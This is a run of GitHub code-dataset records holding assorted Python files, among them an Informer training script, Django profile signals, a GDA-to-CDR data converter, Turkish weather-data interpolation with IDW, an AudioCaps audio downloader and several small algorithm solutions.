Fitness: {overall_best_fitness}\")\r\nprint(f\"Best Solution: {overall_best_solution}\")\r\n","repo_name":"prathu1812/Evolutionary_Algorithms","sub_path":"Evolutionary Algorithms/Python Codes/ABC.py","file_name":"ABC.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71023590866","text":"from transformers.transformers import InformerConfig, InformerModel\nimport h5py\nimport time\nfrom torch.utils.data import DataLoader\n\n # def __init__(self, filepath_dataset: str, n_splits= 5):\n # self.n_splits = n_splits\n\n\n # separo dataset\n # self.tscv = TimeSeriesSplitCustom(n_splits= self.n_splits, test_size=int(0.1*len(self.y)), min_train_size=int(0.5*len(self.y)))\n\n # def split(self):\n # return self.tscv.split(self.X, self.y)\n\ndef get_ds_train_eval(filepath_dataset, porc_train):\n \"\"\"\n test_dl ? = ...\n no me acuerdo cuando se usaba o para que se usaba\n decidimos solo usar train y eval\n \"\"\"\n with h5py.File(filepath_dataset, 'r') as f:\n X = f['X_embeddings'][()]\n Y = f['Y_target'][()] \n \n len_train = round(len(X) * porc_train, 0)\n ds_train_X = X[:len_train]\n ds_train_Y = Y[:len_train]\n ds_eval_X = X[len_train:]\n ds_eval_Y = Y[len_train:]\n \n return ds_train_X, ds_train_Y, ds_eval_X, ds_eval_Y\n\n\nclass Dataset_for_informer(torch.utils.data.Dataset):\n def __init__(self, X, Y):\n self.X = X\n self.Y = Y\n\n assert len(self.X) == len(self.Y)\n \n def __getitem__(self, idx):\n return self.X[idx], self.Y[idx]\n \n def __len__(self):\n return len(self.X)\n \nds_train_X, ds_train_Y, ds_eval_X, ds_eval_Y = get_ds_train_eval(filepath_dataset= \"datos/04_t2v/indy_20161005_06_baks_t2v.h5\", porc_train= 0.8)\nds_train = Dataset_for_informer(ds_train_X, ds_train_Y)\nds_eval = Dataset_for_informer(ds_eval_X, ds_eval_Y)\n\nbatch_size = 32\ntrain_dl = DataLoader(ds_train, batch_size, shuffle=False)\neval_dl = DataLoader(ds_eval, batch_size, shuffle=False)\n \n\"\"\"\nen conversacion VM+PM 25-05-2023 22:50\nhaciendo un simil con transformer de texto. en toxto\nentra una frase y sale otra frase\ncada frase es de un tamaño arbitrario, no necesariamente son todas del mismolar. tipicamente se define un tamaño max y se reellena con ceros o se trunca\n\nnuestro mono pódemos ver cada frase como cada alcance de objetivo\nsin embargo el dato de cuando se cambio el objetivo en este momento no lo tenemos \nentonces no sabemos donde termina una frase y donde comienza otra\nvamos a asumir un tamaño arbitrario de cada frase y supondremos que todas las frases son del mismo tamaño\nclaramente esto no es real y el resultado puede ser cualquier cosa\n\nnuestro objetivo en este momento es usar el traforme y obtener un resultado\nposteriormente se deberia entrenar con las frases correctas , para ello se debe agregar a cada embedding un id de objetivo\nla idea es identificar todos los embeddings que persiguen el mismo objetivo\ny estos constituirian una frase\n\n\"\"\" \n \n# Initializing an Informer\n# vm=> 2 porque son dos los datos a predecir Vx, Vy\nconfiguration = InformerConfig(\n prediction_length = 2,\n # context_length = 2, # en time2vec/Model.py -> ModelT2v line12 => self.fc1 = nn.Linear(hiddem_dim, 2)\n input_size = 2,\n)\n# Accessing the model configuration\n# configuration = model_informer.config\n\n#------------------------------------------\n# Randomly initializing a model (with random weights) from the configuration\nmodel_informer = InformerModel(configuration)\n\n\ndef train(model: InformerModel, num_epochs: int):\n # Initializing the weights with a uniform distribution\n model.init_weights()\n ini = time.time()\n\n loss_minor = 999999999999\n best_chp = 'not_found' \n for ep in range(1, num_epochs+1):\n batch_size = 64\n sequence_length = 64 # creo que es size nuestro X embedding\n input_size = 2 # yo creo Y size\n # num_features here is equal to config.num_time_features+config.num_dynamic_real_features\n num_features = 0\n batch = {\n \"past_values\" : torch.zeros([batch_size, sequence_length, input_size], dtype=torch.float32 ),\n \"past_time_features\" : torch.zeros([batch_size, sequence_length, num_features], dtype=torch.float32 ),\n \"past_observed_mask\" : torch.zeros([batch_size, sequence_length, input_size], dtype=torch.bool ),\n \n # paty\n # past_values == X\n \n \n # inputs_embeds (torch.FloatTensor of shape (batch_size, sequence_length, hidden_size), optional) — Optionally, instead of passing input_ids you can choose to directly pass an embedded representation. This is useful if you want more control over how to convert input_ids indices into associated vectors than the model’s internal embedding lookup matrix.\n \n \n # static_categorical_features: Optional[torch.Tensor] = None,\n # static_real_features: Optional[torch.Tensor] = None,\n # future_values: Optional[torch.Tensor] = None,\n # future_time_features: Optional[torch.Tensor] = None,\n }\n for x, y in train_dl:\n # during training, one provides both past and future values\n # as well as possible additional features\n outputs = model(\n past_values=batch[\"past_values\"],\n past_time_features=batch[\"past_time_features\"],\n past_observed_mask=batch[\"past_observed_mask\"],\n # static_categorical_features=batch[\"static_categorical_features\"],\n # static_real_features=batch[\"static_real_features\"],\n # future_values=batch[\"future_values\"],\n # future_time_features=batch[\"future_time_features\"],\n )\n\n\n \n \n loss = outputs.loss\n loss.backward()\n\n \n # if loss.item() <= umbral_best and loss.item() < loss_minor:\n # loss_minor = loss.item()\n # best_chp = f\"checkpoints/chp_{num_epochs}_{ep}_{round(loss_minor, 3)}\"\n # torch.save({\n # 'epoch': ep,\n # 'model_state_dict': self.model.state_dict(),\n # 'optimizer_state_dict': optimizer.state_dict(),\n # 'loss': loss, \n # }, best_chp)\n \n print(f\"\\rep: {ep} de {num_epochs} - loss:{loss.item()}\", end=\"\")\n fin = time.time()\n print(f\"\\nloss:{loss.item()} - best_chp:{best_chp} - time:{fin-ini}\")\n return best_chp, loss_minor \n\n# ---------------------\n# InformerForPrediction\nfrom huggingface_hub import hf_hub_download\nimport torch\nfrom transformers.transformers import InformerForPrediction\n\nfile = hf_hub_download(\n repo_id=\"kashif/tourism-monthly-batch\", filename=\"train-batch.pt\", repo_type=\"dataset\"\n)\nbatch = torch.load(file)\n\nmodel = InformerForPrediction.from_pretrained(\"huggingface/informer-tourism-monthly\")\n\n# during training, one provides both past and future values\n# as well as possible additional features\noutputs = model(\n past_values=batch[\"past_values\"],\n past_time_features=batch[\"past_time_features\"],\n past_observed_mask=batch[\"past_observed_mask\"],\n static_categorical_features=batch[\"static_categorical_features\"],\n static_real_features=batch[\"static_real_features\"],\n future_values=batch[\"future_values\"],\n future_time_features=batch[\"future_time_features\"],\n)\n\nloss = outputs.loss\nloss.backward()\n\n# during inference, one only provides past values\n# as well as possible additional features\n# the model autoregressively generates future values\noutputs = model.generate(\n past_values=batch[\"past_values\"],\n past_time_features=batch[\"past_time_features\"],\n past_observed_mask=batch[\"past_observed_mask\"],\n static_categorical_features=batch[\"static_categorical_features\"],\n static_real_features=batch[\"static_real_features\"],\n future_time_features=batch[\"future_time_features\"],\n)\n\nmean_prediction = outputs.sequences.mean(dim=1)","repo_name":"pmelof/tesis_transformers","sub_path":"informer.py","file_name":"informer.py","file_ext":"py","file_size_in_byte":7765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72527955986","text":"from django.contrib.auth.models import User\nfrom django.dispatch import receiver\nfrom django.db.models.signals import post_save, post_delete\n\nfrom . import models\n\n\n@receiver(signal=post_save, sender=User)\ndef profile_creation(sender, instance, created, **kwargs):\n if created:\n profile = models.Profile.objects.create(\n user=instance,\n first_name=instance.first_name,\n last_name=instance.last_name,\n )\n profile.save()\n\n\n@receiver(signal=post_save, sender=models.Profile)\ndef profile_update(sender, instance, created, **kwargs):\n if not created:\n profile = instance\n user = profile.user\n\n user.first_name = profile.first_name\n user.last_name = profile.last_name\n user.save()\n\n\n@receiver(signal=post_delete, sender=models.Profile)\ndef user_delete_on_profile_delete(sender, instance, **kwargs):\n try:\n user = instance.user\n user.delete()\n except:\n pass\n\n# instance -> the object itself that was updated or created\n\n# To create a profile for the user every time the user is registered\n# Write a signal that listens for the user object\n# Register a signals\n# Look how it works\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"AsadbekAzizov/desvsearch-test","sub_path":"app_main/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37124166616","text":"import logging\nfrom random import choice\n\nlog = logging.getLogger('bavi.modules.random')\n\nsupported_split = [',', '|', '/', '\\\\']\n\n\ndef init(bot):\n bot.add_command('choose', choose_command, aliases=['pick'])\n\ndef choose_command(bot, source, target, message, **kwargs):\n response = ''\n result_list = make_list(message)\n\n if len(result_list) > 1:\n response = 'Your choices: {0}, I chose: {1}.'.format(\n ', '.join(result_list),\n choice(result_list)\n )\n else:\n response = 'You need to give me more than one thing to choose!'\n\n bot.reply_to(source, target, response)\n\n\ndef make_list(message):\n result = []\n\n #iterate over the spliters and pick the first one with results\n for s in supported_split:\n result = message.split(s)\n\n if len(result) > 1:\n break\n\n #strip trailing whitespace\n result = list(map(str.strip, result))\n\n return result\n","repo_name":"calzoneman/bavi","sub_path":"bavi/modules/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"24319892975","text":"import os\nimport re\nimport unicodedata\n\nimport tqdm\n\nfrom prepare_data.load_data import LoadData\nfrom utils.load_config import LoadConfig\n\n\n\n\nclass PreprocessText:\n def __init__(self, config, train_dataset, valid_dataset, test_dataset, store_as_file=False):\n\n self.config = config\n self.train_dataset = train_dataset\n self.valid_dataset = valid_dataset\n self.test_dataset = test_dataset\n self.store_as_file = store_as_file\n\n\n def _decode_string(self, dataset):\n lang_one = [str(lang_one.numpy().decode()) for lang_one, lang_two in dataset]\n lang_two = [str(lang_two.numpy().decode()) for lang_one, lang_two in dataset]\n return lang_one, lang_two\n\n\n\n def _tfds_to_txt(self, lang_one, lang_two, dataset_format):\n lang_one_path = os.path.join(self.config['preprocess_text_path'], f'{dataset_format}_{self.config[\"lang_one_file\"]}')\n lang_two_path = os.path.join(self.config['preprocess_text_path'], f'{dataset_format}_{self.config[\"lang_two_file\"]}')\n\n with open(lang_one_path, 'w', encoding='utf-8') as lang_one_file:\n for line in lang_one:\n lang_one_file.write(line+'\\n')\n\n with open(lang_two_path, 'w', encoding='utf-8') as lang_two_file:\n for line in lang_two:\n lang_two_file.write(line+'\\n')\n\n\n def _unicode_to_ascii(self, s):\n return ''.join(c for c in unicodedata.normalize('NFD', s) if unicodedata.category(c) != 'Mn')\n\n\n def _preprocess_sentence(self, w):\n w = self._unicode_to_ascii(w.lower().strip())\n w = re.sub(r\"([?.!,¿])\", r\" \\1 \", w)\n w = re.sub(r'[\" \"]+', \" \", w)\n w = re.sub(r\"[^a-zA-Z.!,¿]+\", \" \", w)\n w = w.strip()\n return w\n\n\n def _initial_preprocess_sentence(self, lang_one, lang_two):\n lang_one_result = []\n lang_two_result = []\n\n for sent in tqdm.tqdm(lang_one):\n lang_one_result.append(self._preprocess_sentence(sent))\n\n for sent in tqdm.tqdm(lang_two):\n lang_two_result.append(self._preprocess_sentence(sent))\n\n return lang_one_result, lang_two_result\n\n\n def clean_text(self):\n train_lang_1, train_lang_2 = self._decode_string(self.train_dataset)\n valid_lang_1, valid_lang_2 = self._decode_string(self.valid_dataset)\n test_lang_1, test_lang_2 = self._decode_string(self.test_dataset)\n\n print('\\nProcessing Cleansing...')\n train_lang_1, train_lang_2 = self._initial_preprocess_sentence(train_lang_1, train_lang_2)\n valid_lang_1, valid_lang_2 = self._initial_preprocess_sentence(valid_lang_1, valid_lang_2)\n test_lang_1, test_lang_2 = self._initial_preprocess_sentence(test_lang_1, test_lang_2)\n\n if self.store_as_file:\n print(f'\\nInitial Preprocessed Text Saved at {self.config[\"preprocess_text_path\"]}')\n os.makedirs(self.config['preprocess_text_path'], exist_ok=True)\n self._tfds_to_txt(train_lang_1, train_lang_2, 'train')\n self._tfds_to_txt(valid_lang_1, valid_lang_2, 'valid')\n self._tfds_to_txt(test_lang_1, test_lang_2, 'test')\n\n train_data = (train_lang_1, train_lang_2)\n valid_data = (valid_lang_1, valid_lang_2)\n test_data = (test_lang_1, test_lang_2)\n\n return train_data, valid_data, test_data\n\n\n\n\nif __name__ =='__main__':\n config_dict = LoadConfig('conf').load_config()\n dataset_name = config_dict['dataset_name']\n data_gen = LoadData(dataset_name=dataset_name)\n train_d, valid_d, test_d, infos = data_gen.get_data()\n tmp_processor = PreprocessText(config_dict, train_d, valid_d, test_d, True)\n a, b, c = tmp_processor.clean_text()\n\n print(a[0][0])\n print(a[1][0])\n\n","repo_name":"seunghwan1228/Transfomer-MachineTranslation","sub_path":"prepare_data/preprocess_data.py","file_name":"preprocess_data.py","file_ext":"py","file_size_in_byte":3729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16421829851","text":"from typing import *\n\n\nclass GDAExample(object):\n def __init__(self, abstract, entities_lines, relation, idx):\n self.astract = abstract\n self.entities_lines = entities_lines\n self.relation = relation\n self.id = idx\n\n def write_example(self, f):\n abstract = self.id + '|a|' + self.astract + '\\n'\n f.write(abstract)\n for line in self.entities_lines:\n f.write(line + '\\n')\n f.write(self.relation + '\\n')\n f.write('\\n')\n\n\ndef load_abstract(file):\n with open(file, 'r') as f:\n lines = f.readlines()\n abstracts = []\n is_index = True\n current_sample = None\n for line in lines:\n if len(line.strip()) == 0:\n if not current_sample:\n continue\n assert len(current_sample['abstract']) > 0\n assert not is_index\n current_sample['abstract'] = ' '.join(current_sample['abstract'])\n abstracts.append(current_sample)\n current_sample = None\n is_index = True\n elif is_index:\n assert len(line.strip().split()) == 1, line\n assert not current_sample\n current_sample = {'id': line.strip(), 'abstract': []}\n is_index = False\n else:\n current_sample['abstract'].append(line.strip())\n\n return abstracts\n\n\ndef load_anns(file):\n with open(file, 'r') as f:\n lines = f.readlines()\n anns = {}\n current_ann = None\n gen_se = []\n dis_se = []\n for line in lines:\n if len(line.strip()) == 0:\n continue\n else:\n line_splitted = line.split()\n id = line_splitted[0]\n s = line_splitted[1]\n e = line_splitted[2]\n type = line_splitted[-2]\n e_id = line_splitted[-1]\n\n entity = line_splitted[3:-2]\n # assert int(e) - int(s) == len(' '.join(entity)), f\"{s}, {e}, {len(' '.join(entity))}, {id}, {' '.join(entity)}\"\n entity = {'start': s, 'end': e, 'text': ' '.join(entity), 'type': type, 'entity_id': e_id}\n if id not in anns:\n gen_se = []\n dis_se = []\n anns[id] = []\n if (type == 'Gene' and ((s, e) in dis_se)) or (type == 'Disease' and ((s, e) in gen_se)):\n print(f\"ignore: type {type}, entity {entity}\")\n continue\n else:\n anns[id].append(entity)\n if type == 'Gene':\n gen_se.append((s, e))\n # 1/0\n else:\n # 1/0\n dis_se.append((s, e))\n return anns\n\n\ndef load_labels(file):\n with open(file, 'r') as f:\n lines = f.readlines()[1:]\n labels = {}\n for line in lines:\n line_splited = line.strip().split(',')\n id = line_splited[0]\n geneId = line_splited[1]\n diseaseId = line_splited[2]\n label = line_splited[3]\n if id not in labels:\n labels[id] = []\n labels[id].append({\"geneId\": geneId, 'diseaseId': diseaseId, 'label': label})\n return labels\n\n\ndef write_cdr_file(abstracts, anns, labels, file):\n with open(file, 'w') as f:\n for abstract in abstracts:\n id = abstract['id']\n f.write(id + '|a|' + abstract['abstract'] + '\\n')\n ann = anns[id]\n for entity in ann:\n f.write(id + '\\t' + entity['start'] + '\\t' + entity['end'] + '\\t' + entity['text'] + '\\t' + entity[\n 'type'] + '\\t' + entity['entity_id'] + '\\n')\n for label in labels[id]:\n f.write(id + '\\t' + 'CID' + '\\t' + label['geneId'] + '\\t' + label['diseaseId'] + '\\n')\n f.write('\\n')\n\n\nif __name__ == '__main__':\n file = 'D:\\\\relation_extraction_cdr\\\\data\\\\GDA\\\\testing_data\\\\abstracts.txt'\n abstracts = load_abstract(file)\n anns_file = 'D:\\\\relation_extraction_cdr\\\\data\\\\GDA\\\\testing_data\\\\anns.txt'\n anns = load_anns(anns_file)\n labels_file = 'D:\\\\relation_extraction_cdr\\\\data\\\\GDA\\\\testing_data\\\\labels.csv'\n labels = load_labels(labels_file)\n assert len(labels) == len(abstracts)\n assert len(abstracts) == len(anns)\n file = 'D:\\\\relation_extraction_cdr\\\\data\\\\GDA\\\\gda2cda/test.txt'\n write_cdr_file(abstracts, anns, labels, file)\n print(\"anns: \", anns.keys())\n","repo_name":"thaiduongx26/relation_extraction_cdr","sub_path":"data_loaders/convert_gda_to_cdr.py","file_name":"convert_gda_to_cdr.py","file_ext":"py","file_size_in_byte":4353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71585943187","text":"t = int(input())\nwhile t > 0:\n n,q = map(int,input().split())\n arr = list(map(int,input().split()))\n d = dict()\n for i in range(1,n+1):\n d[i] = arr[i-1]\n for i in range(q):\n x1,x2,y = map(int,input().split())\n count = 0\n for j in range(1,n):\n if d[j+1] > d[j]:\n if (x1 < j+1 and x2 > j) and (y >= d[j] and y <= d[j+1]):\n count += 1\n else:\n if (x1 < j+1 and x2 > j) and (y >= d[j+1] and y <= d[j]):\n count += 1\n print(count)\n \n \n t -= 1\n ","repo_name":"prashant97sikarwar/codechef-march-long-challenge-2020","sub_path":"LAZER.py","file_name":"LAZER.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"69974020625","text":"# BÖLÜM-2 Boşluk Doldurma\n# import numpy\nimport datetime\nimport os\nimport pickle as pcl\nimport pandas as pd\nfrom komsular import komsulari_yaz\nfrom idwyapan import idw_yap\n# python 3.9.13\n# pd.__version__ #1.5.3\n# pickle.format_version 4.0\n\n# Verilerin bulunduğu klasör\ndatasetpath = \"C:/Users/ozitron/Desktop/kullanımda/\" # Evde\n#datasetpath = \"C:/Users/oguzfehmi.sen.TARIM/Desktop/veriler/\" # İşte\n\n\nfile_df = open(os.path.join(datasetpath, \"file_df.pcl\"), \"rb\")\ndf = pd.DataFrame(pcl.load(file_df))\nfile_df.close()\nfile_ist = open(os.path.join(datasetpath, \"file_ist.pcl\"), \"rb\")\nistdf = pd.DataFrame(pcl.load(file_ist))\nfile_ist.close()\ndel(file_df, file_ist)\nprint(\"Dosyalar başarıyla içeri aktarıldı.\")\n\n# sütun isimlerini basitleştirelim\ndf.rename(columns={\"Istasyon_No\": \"istno\", \"GUNESLENME_SURESI_saat\": \"gunes\", \"MAKSIMUM_SICAKLIK_°C\":\"maxsic\", \"MINIMUM_SICAKLIK_°C\":\"minsic\", \"ORTALAMA_NEM_%\": \"nem\", \"GUNLUK_ORTALAMA_HIZI_m_sn\":\"ruzgar\"}, inplace=True)\n\n\n# gunes, maxsic, minsic, nem ayrı ayrı dataframelere ayıralım. örn |istno|date|gunes| şeklinde.\n# sonra herbir tabloda kendi içinde eleme yapalım. gunes için 1000 satirdan az ise atalım.\n# kalanlar ile komşuları tesbit edelim.\n# eksik verileri komşulardan idw ile dolduralım.\n\ndf_gunes = df[[\"istno\", \"date\", \"gunes\"]]\n# şimdilik siliyorum df'yi\ndel(df)\n#df_maxsic = df[[\"istno\", \"date\", \"maxsic\"]]\n#df_minsic = df[[\"istno\", \"date\", \"minsic\"]]\n#df_nem = df[[\"istno\", \"date\", \"nem\"]]\n#df_ruzgar = df[[\"istno\", \"date\", \"ruzgar\"]]\n\"\"\"\nprint(\"gunes\", df_gunes[\"gunes\"].count())\nprint(\"maxsic\", df_maxsic[\"maxsic\"].count())\nprint(\"minsic\", df_minsic[\"minsic\"].count())\nprint(\"nem\", df_nem[\"nem\"].count())\nprint(\"ruzgar\", df_ruzgar[\"ruzgar\"].count())\n\"\"\"\n\ndf_gunes_ordered = df_gunes.groupby([\"istno\"])[\"gunes\"].count().sort_values(ascending=False)\n# Burada görüleceği üzere güneş değerleri kötü..\n# 1000 den az değeri olan istasyonları direk eleyip diğerlerini kullanalım.\n\"\"\"\ndf_gunes_chosen = df_gunes_ordered.loc[df_gunes_ordered.values>1000]\nprint(df_gunes_chosen.count()) # = 59 istasyon\nprint(df_gunes_chosen.sum()) # = 380.090 adet değer var.\ndaysXist = (datetime.datetime(2022,12,31) - datetime.datetime(1992,1,1)).days * df_gunes_chosen.count() # = 667.998 olması gereken değer\nprint(\"oran(%):\", (380090/667998)*100) # seçilmiş istasyonların %57'si dolu imiş.\n\"\"\"\n\n# %57 doluluk idw için yetersiz olacağı düşünüldü.\n# 6000 den fazla veri olan istasyonları seçelim\ndf_gunes_chosen6000 = df_gunes_ordered.loc[df_gunes_ordered.values>6000]\nprint(\"istasyon sayısı:\", df_gunes_chosen6000.count()) # 33 istasyon\nprint(\"değer sayısı:\", df_gunes_chosen6000.sum()) # 298.967 adet değer var\ndaysXist = (datetime.datetime(2022,12,31) - datetime.datetime(1992,1,1)).days * df_gunes_chosen6000.count() # = 373.626 olması gereken değer\nprint(\"oran(%)\", (298967/373626)*100 ) # % 80 doluluk oranı bulundu. bu idw için yeterli görüldü.\n\n\n# Yalnızca bu seçilmiş istasyonları içeren verileri temiz tablosuna alalım.\ndf_gunes_temiz = df_gunes.loc[df_gunes[\"istno\"].apply(lambda x: x in df_gunes_chosen6000.index)]\n# indexler bozuldu, resetleyelim.\ndf_gunes_temiz.reset_index(inplace=True, drop=True)\n\n# Komşuları (ve mesafeleri) belirleyip df_gunes_komsu tablosuna yazalım.\ndf_gunes_komsu = istdf.loc[istdf[\"istno\"].apply(lambda x: x in df_gunes_chosen6000.index)][[\"istno\", \"coordx\", \"coordy\"]]\ndf_gunes_komsu.reset_index(inplace=True, drop=True)\ndf_gunes_komsu = komsulari_yaz(df_gunes_komsu, 5)\n# komsuların istno'larını integer yapalım\ndf_gunes_komsu = df_gunes_komsu.astype({\"k0\": \"int64\", \"k1\": \"int64\", \"k2\": \"int64\", \"k3\": \"int64\", \"k4\": \"int64\"})\n\n# Belirlenen komşulardan df_gunes tablosundaki boş değerler için idw hesaplayıp değeri yerine yazalım.\ndeneme1 = idw_yap(df_gunes_temiz, df_gunes_komsu, \"gunes\", 5, 2)\ndeneme2 = pd.DataFrame(deneme1).sort_values(by=[\"date\", \"istno\"])\ndeneme2.reset_index(inplace=True, drop=True)\ndeneme2.to_csv(\"dolduruldu.csv\", sep=\";\", decimal=\".\")\n\ndf_gunes_temiz_sort = df_gunes_temiz.sort_values(by=[\"date\", \"istno\"])\ndf_gunes_temiz_sort.reset_index(inplace=True, drop=True)\ndf_gunes_temiz_sort.to_csv(\"doldurulmadi.csv\", sep=\";\", decimal=\".\")\n\nfilename = open(os.path.join(datasetpath, \"dfgunes.pcl\"), \"wb\")\npcl.dump(df_gunes_temiz, filename)\nfilename.close()\n\nfilename = open(os.path.join(datasetpath, \"dfgunes.pcl\"), \"rb\")\nmesela = pcl.load(filename)\n\n","repo_name":"hakanguven36/mervetozDr","sub_path":"main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":4457,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70311928786","text":"import csv\nimport multiprocessing\nimport os\nimport subprocess as sp\n\nimport sox\nimport yt_dlp\n\nfrom errors import SubprocessError\n\nffmpeg_path = \"ffmpeg/bin/ffmpeg.exe\"\nffmpeg_cfg = {\n \"audio_format\": \"wav\",\n \"audio_channels\": 2,\n \"audio_sampling_rate\": 48000.,\n \"audio_bit_depth\": \"s16\",\n \"audio_codec\": \"pcm_s16le\"\n}\n\ndataset_dir = \"AudioCaps\"\naudio_csv = {\n \"train\": \"data/train.csv\",\n \"val\": \"data/val.csv\",\n \"test\": \"data/test.csv\"\n}\n\nvideo_page_url = \"https://www.youtube.com/watch?v={}\"\n\n\ndef run_command(cmd, **kwargs):\n proc = sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.PIPE, universal_newlines=True, **kwargs)\n stdout, stderr = proc.communicate()\n\n return_code = proc.returncode\n\n if return_code != 0:\n raise SubprocessError(cmd, return_code, stdout, stderr)\n\n return stdout, stderr, return_code\n\n\ndef get_audio_fname(audio_info):\n ytid = audio_info[\"ytid\"]\n tms_start = int(audio_info[\"ts_start\"] * 1000)\n tms_end = int(audio_info[\"ts_end\"] * 1000)\n\n return f\"{ytid}_{tms_start}_{tms_end}\"\n\n\ndef download_audio(audio_info, output_dir, ffmpeg_cfg):\n with yt_dlp.YoutubeDL({\"format\": \"bestaudio/best\"}) as ydl:\n try:\n # yt-dlp process\n yt_url = video_page_url.format(audio_info[\"ytid\"])\n info = ydl.extract_info(yt_url, download=False)\n\n video_duration = info[\"duration\"]\n best_audio_url = info[\"url\"]\n\n if audio_info[\"ts_end\"] > video_duration:\n audio_info[\"ts_end\"] = video_duration\n\n audio_fname = get_audio_fname(audio_info)\n audio_format = ffmpeg_cfg[\"audio_format\"]\n audio_fpath = os.path.join(output_dir, f\"{audio_fname}.{audio_format}\")\n\n if os.path.exists(audio_fpath):\n print(\"[Download Cancelled]\", f\"{audio_fpath} already exists!\")\n return\n\n audio_duration = audio_info[\"ts_end\"] - audio_info[\"ts_start\"]\n audio_channels = ffmpeg_cfg[\"audio_channels\"]\n audio_sampling_rate = ffmpeg_cfg[\"audio_sampling_rate\"]\n audio_bit_depth = ffmpeg_cfg[\"audio_bit_depth\"]\n audio_codec = ffmpeg_cfg[\"audio_codec\"]\n\n # ffmpeg process\n ffmpeg_input_args = [ffmpeg_path,\n \"-timeout\", \"5000000\",\n \"-i\", best_audio_url,\n \"-n\",\n \"-ss\", str(audio_info[\"ts_start\"])]\n ffmpeg_output_args = [\"-t\", str(audio_duration),\n \"-ar\", str(audio_sampling_rate),\n \"-vn\",\n \"-ac\", str(audio_channels),\n \"-sample_fmt\", str(audio_bit_depth),\n \"-f\", audio_format,\n \"-acodec\", audio_codec,\n audio_fpath]\n\n print(\"[FFMPEG]\", \" \".join(ffmpeg_input_args), \" \".join(ffmpeg_output_args))\n run_command(ffmpeg_input_args + ffmpeg_output_args)\n\n # validate downloaded audio\n if not os.path.exists(audio_fpath):\n print(\"[FFMPEG]\", f\"{audio_fpath} does not exist!\")\n return\n\n assert audio_duration == sox.file_info.duration(audio_fpath), \"Invalid audio duration\"\n assert audio_channels == sox.file_info.channels(audio_fpath), \"Invalid audio channels\"\n assert audio_sampling_rate == sox.file_info.sample_rate(audio_fpath), \"Invalid audio sampling rate\"\n assert \"Signed Integer PCM\\r\" == sox.file_info.encoding(audio_fpath), \"Invalid encoding\"\n\n except yt_dlp.utils.DownloadError as e:\n print(\"[ERROR Info]\", yt_url)\n print(str(e))\n\n except SubprocessError as e:\n print(\"[ERROR Info]\", yt_url)\n print(str(e))\n\n except AssertionError as e:\n os.remove(audio_fpath)\n print(\"[ERROR Info]\", yt_url)\n print(str(e))\n\n\nif __name__ == \"__main__\":\n\n for split in audio_csv:\n\n split_dir = os.path.join(dataset_dir, split)\n os.makedirs(split_dir, exist_ok=True)\n\n print(f\"Starting download jobs for split {split} ...\")\n\n with open(audio_csv[split], \"r\", encoding=\"utf-8\") as fstream:\n split_data = csv.reader(fstream)\n\n try:\n pool = multiprocessing.Pool(8)\n\n for row_idx, row in enumerate(split_data):\n if row[0][0] != \"#\" and row_idx != 0:\n audiocap_id, ytid, ts_start = row[0], row[1], float(row[2])\n ts_end = ts_start + 10.0\n audio_info = {\"ytid\": ytid, \"ts_start\": ts_start, \"ts_end\": ts_end}\n\n pool.apply_async(download_audio, args=(audio_info, split_dir, ffmpeg_cfg), kwds={},\n callback=None, error_callback=None)\n # download_audio(audio_info, split_dir, ffmpeg_cfg)\n\n except csv.Error as e:\n print(\"[CSV]\", f\"Encountered error in {split} at line {row_idx + 1}: {e}\")\n\n except KeyboardInterrupt:\n print(\"[KeyboardInterrupt]\", \"Forcing exit.\")\n exit()\n\n finally:\n try:\n pool.close()\n pool.join()\n except KeyboardInterrupt:\n print(\"[KeyboardInterrupt]\", \"Forcing exit.\")\n exit()\n\n print(f\"Finished download jobs for split {split}.\")\n","repo_name":"xieh97/audiocaps-dl","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16793644199","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution(object):\n def mergeTwoLists(self, l1, l2):\n N = l1\n M = l2\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n head = curr = ListNode(0)\n while N and M:\n if N.val < M.val:\n curr.next, N = N, N.next\n else:\n curr.next, M = M, M.next\n curr = curr.next\n curr.next = N or M\n return head.next\n ","repo_name":"TanjinAlam/leet-code-practice","sub_path":"21-merge-two-sorted-lists/21-merge-two-sorted-lists.py","file_name":"21-merge-two-sorted-lists.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25872254321","text":"# 17086 아기 상어\nimport collections\ndx = [-1,0,1,-1,1,-1,0,1]\ndy = [-1,-1,-1,0,0,1,1,1]\n\ndef bfs(x,y):\n deque = collections.deque()\n deque.append((x,y,0))\n visited = [[True]*M for _ in range(N)]\n visited[x][y] = True\n while deque:\n x,y,cnt = deque.popleft()\n if arr[x][y]:\n return cnt\n for i in range(8):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0<= nx None:\n super().__init__(params)\n self.include = params.get('include', None)\n\n def cache_lookup(self):\n if not hasattr(self, 'lookup') or self.lookup is None:\n file_to_features = {}\n reader: OrderedDict[str, Any] = csv.DictReader(\n open('sample10NewselaAndWeebit.csv'))\n for f in reader:\n # print(f)\n filename = f['filename']\n f.pop('filename')\n for key, value in 